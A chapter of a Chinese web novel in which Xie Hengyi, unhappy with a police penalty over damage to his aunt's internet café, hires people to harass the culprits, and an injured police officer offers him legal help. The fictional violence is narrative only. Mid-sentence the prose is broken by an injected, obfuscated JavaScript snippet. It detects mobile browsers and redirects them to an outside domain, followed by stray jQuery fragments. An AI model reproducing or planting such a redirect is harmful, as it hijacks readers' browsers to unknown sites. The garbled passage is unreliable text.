耗时一个星期,关于寻衅滋事、故意损坏财物一案有了结果。
没有因醉酒免除法律责任,警方酌情考量后,扔菜刀的男子被定位成主犯,合并处罚为十五日拘留外加千元罚款,参与者处罚则相对较轻。
是治安处罚,而非刑事处罚。
未被认定为恶劣情节的原因主要有两个:财产损失金额不达标,菜刀未伤到人且不针对特定人。
这个处理结果当然不能让谢恒逸满意。
他找出提前保存的监控截图,准备二次处罚那群醉汉,只不过这次按他的规矩来。
这个社会实在很糟糕,有钱能使鬼推磨。
但也幸好,这是个钱能买到一切的社会,法律束缚不了所有人,总会有漏网之鱼。
而这些漏网之鱼,就是替金主办事的得力助手。
谢恒逸分批次雇了帮人,在暗处轮流使绊子,既不会动静大到引起警方注意,又能将人磨得终日不得安生,只能自认倒霉。
他还顺便派人去查了那群醉汉的底细,由于人头数量太多,短期内无法得到答复。
安排好这些,他询问谢嵘的意见:“还想不想继续开网吧?”
这个问题,谢嵘在这些时日里考虑过无数次,临近下决定时依然犹豫了会儿,才说:“开。”
她哪能真让谢恒逸养她?
扪心自问,她对谢恒逸的养育之恩根本微不足道。
谢嵘是个去留随意的人,大城市、小县城都困不住她,是谢恒逸结束了她的颠沛流离。
十多年来,她辗转了不少地方。谢恒逸在缙城上大学这两年,算其间过得最安稳的一段日子。
她想多享受享受这种安稳日子,起码等谢恒逸读完大学。
网吧生意就算不能红火如初,赚点养老钱还是绰绰有余的。
“那就开着。”谢恒逸随口应着,行动却不马虎。
他联系到校园网站管理员,删除了所有负面谣传,并把官方新闻贴在了置顶,预备挂它十天半个月。
就不信这样还没热度。
将网吧恢复如常的工作有条不紊地进行着,他又问:“招到人了吗?”
原先那个前台员工被吓得腿软好几天,缓过神后做的第一件事就是辞职,只能重新招人。
谢嵘点了点头:“招了个腿脚灵活的小姑娘。”
要是再遇到这种事,跑得快。
“行,我先回去了,有问题给我打电话。”
在过去的一周里,谢嵘日日惴惴不安,谢恒逸别无他法,便留在网吧陪着。
倒是抽空回去过两趟,目的是确认家中那位是否活得好好的,加起来待了两个小时都不到。
谢恒逸揉了揉太阳穴,转身就走。
一脚都快跨出网吧门槛了,他突然折返回来。
昨夜谢嵘又拉他彻夜畅谈了,一哭诉就烟酒都来。
他没跟着碰多少,但被熏了一晚上,指不定现在都没散干净味。
他走回谢嵘面前,一脸淡漠地问:“我身上有酒味烟味没?”
谢嵘猛吸一大口空气,秒出鉴定结果:“有一点,不明显,只要没贴你身上,应该就闻不着。”
谢恒逸微不可察地皱了下眉。
也就是这一下。
谢嵘察觉出端倪,眼尾微微上扬,泄出疑忌的眸光:“谢恒逸,你老实告诉我,你家里藏谁了?”
她侄子这模样,活像怕被妻子责骂的晚归丈夫。
“没谁。”
谢嵘大惊失色。
那就是藏了。
眼看着谢恒逸要走,她灵光一闪:“你屋里有座机是不是?号码给我一个。”
谢恒逸以为她是怕手机打不通,没多想就帮她存上了号码。
目的达成,谢嵘笑眯眯地挥手告别。
哼,这小子,还是太嫩了。
在谢恒逸身影消失在网吧里的瞬间,她扭头拨通了刚存的座机号码。
……
如同陷入深眠的住宅被打破沉静。
一个周未住人的卧室内,座机发出简洁明了的“叮铃铃”声。
在重复响起第四遍时,昏昏欲睡的白猫被吵醒,跑到齐延曲床边绵绵央唤着,以示不满。
青年放下了手中的公文。
给谢恒逸打电话的人真是……一个比一个持之以恒。
想把电话线剪断。
齐延曲打开主卧的门,忽然想到这可能是谢恒逸来电。
他顿了顿,拿起电话听筒放在耳边。
一片安静。
来电人似乎并不急切,接通后默不作声。
齐延曲不知道对面是谁。
目前看来,不是谢恒逸。
他耐心等了半分钟,什么也没等到。
齐延曲目光停留在整洁的床被上,淡声询问:“谢恒逸不在,有什么需要转告的?”
他自认态度温和,对面却不知怎的,猛然挂断了电话。
……最近确实很少说话,嗓子也有点哑。
但不至于会把人吓跑吧。
齐延曲有点疑惑。
就在他把话筒放回底座时,大门传来密码解锁成功的提示音。
他顾不上思考这通没头没尾的电话,离开了主卧,行至连接一二楼的楼梯末端。
从上而下俯视客厅,不仅是场景一览无遗,玄关处的说话声也一字不落地进入他耳里。
正是谢恒逸的声音,低沉随性,带着狠劲儿。
“有个在屠宰场上班的,带着菜刀,注意点。”尾音慵懒地向下坠着,言谈间尽显漫不经心,“别下手太重,在医院躺两个月的程度就行,免得雷子大惊小怪。”
“雷子”是流氓团伙的黑话。
外行或许不清楚,齐延曲却是再清楚不过。
因为这个词通常是犯罪分子对警察的蔑称,带有极强贬义色彩。
是骂人的,而且骂的就是他。
齐延曲轻轻往后靠了靠,身体重心压在椅背上。这个动作使得轮椅发出吱呀声。
声音细微,但足够引起听力灵敏之人的注意。
谢恒逸斜身倚着鞋柜,闻声抬眸望去。
视线拾级而上,顺着阶梯爬至顶端,他看见了腰脊笔直坐在轮椅上的人。
二楼廊道昏暗,灯没开,通往露台的帘门拉得严实。
目光穿透过客厅顶上璀璨的水晶灯,素白面容被明暗分割,仍是一如既往的毫无波澜,低调中不减瑰丽。
冷峻青年的葱白细指搭在薄毯上,从空荡袖管里滑出一截消瘦的腕骨,好似鲜花枝条,轻轻一折便断。
在其脚边,卧着姿态放松的白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556607|171304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猫。
青年浅绛色的唇微启,话却不是对屋内另一人说的,而是低眸看向那只白猫:“玩去吧。”
憋了好些天的猫听懂了,当即跟阵风似的掠过地面,从落地窗的底部开窗窜了出去。
谢恒逸面色不改地切断电话。
差点忘了,屋里头就有个警察呢。
他扬了扬眉,像是完全不介意通话内容被听去,反而关怀道:“齐警官下床来做什么?也不怕累着。”
齐延曲不语。
“偷听可不是好习惯,”谢恒逸走到楼梯起始端,仰头看向齐延曲,带着莫名怪异的笑意,“想知道什么?我都可以告诉你。”
齐延曲思索片刻,道:“你会对我动手么?”
谢恒逸嘴角笑意淡了些:“暂时没这个打算。”
既然不会被灭口,齐延曲便没什么可畏惧的,他应了谢恒逸的话,直言不讳地问:
“你要报复谁?非要用违法手段不可?”
谢恒逸紧盯他两秒,将手中的决定书副本扔了上去。
牛皮纸文件袋在梯子上磕绊两下,恰好停留在齐延曲脚下。
齐延曲俯身捡了起来,取出里头的A4纸张。
浅色底纹的防伪纸,四号大小的仿宋字体,熟悉的公安机关印章。
他大致扫了一眼内容,心中已有定数。
这个星期,他基本上都在处理些文职工作。
其中就包括整理近期案件材料。
118号网吧发生的小案子,后续处理由他师妹负责,他有所耳闻,但没有参与到判决任一环节当中。
从受案登记表和结论报告来看,此事可大可小。
那群醉汉明显准备充足,犯事当天就委托好了律师,又假惺惺求谅解,以争取最轻处罚。
万事都具有对立面。
一方满意,另一方则不然。这事在法院上常有。
齐延曲静静坐着,指尖有一下没一下地做着敲点动作,刹那间思绪繁杂。
他把整件事拉通在脑子里复盘了一遍,却只轻描淡写地说出一句:
“如果对公安机关的处罚结果不满,你可以申请行政复议。”
谢恒逸顿时轻笑一声,不屑似嘲弄。
齐延曲会说出这话,他一点也不意外,可以说跟他预料的一模一样。
又是这样。
永远公事公办,不含私情。
虽然确实没什么私情可含。
谢恒逸终于想起来了,为什么看不惯齐延曲——
因为这人的眼神,带着悲天悯人的崇高感。
对方垂眸俯瞰时,他身上的所有卑劣基因仿佛都暴露无遗,令他认识到人与人的天壤之别。
仿佛无论他做出什么行为,在这人眼里,都是笑话一场。
谢恒逸直接忽略提议,回答了齐延曲的前一句问话,字字饱含不容否定的意味:“非违法不可。”
若是可以一尘不染,谁愿意入淤泥?
说完这句话,他几乎迫切地打量起楼上那人的神情。
本以为触碰到法律底线,警官至少会面露薄怒。
不料,齐延曲收起决定书,缓缓道:“法律这把刀,比你想得更锋利,也更省事。”
“不妨试试这把刀?”语调依旧没有起伏,“我可以帮你。”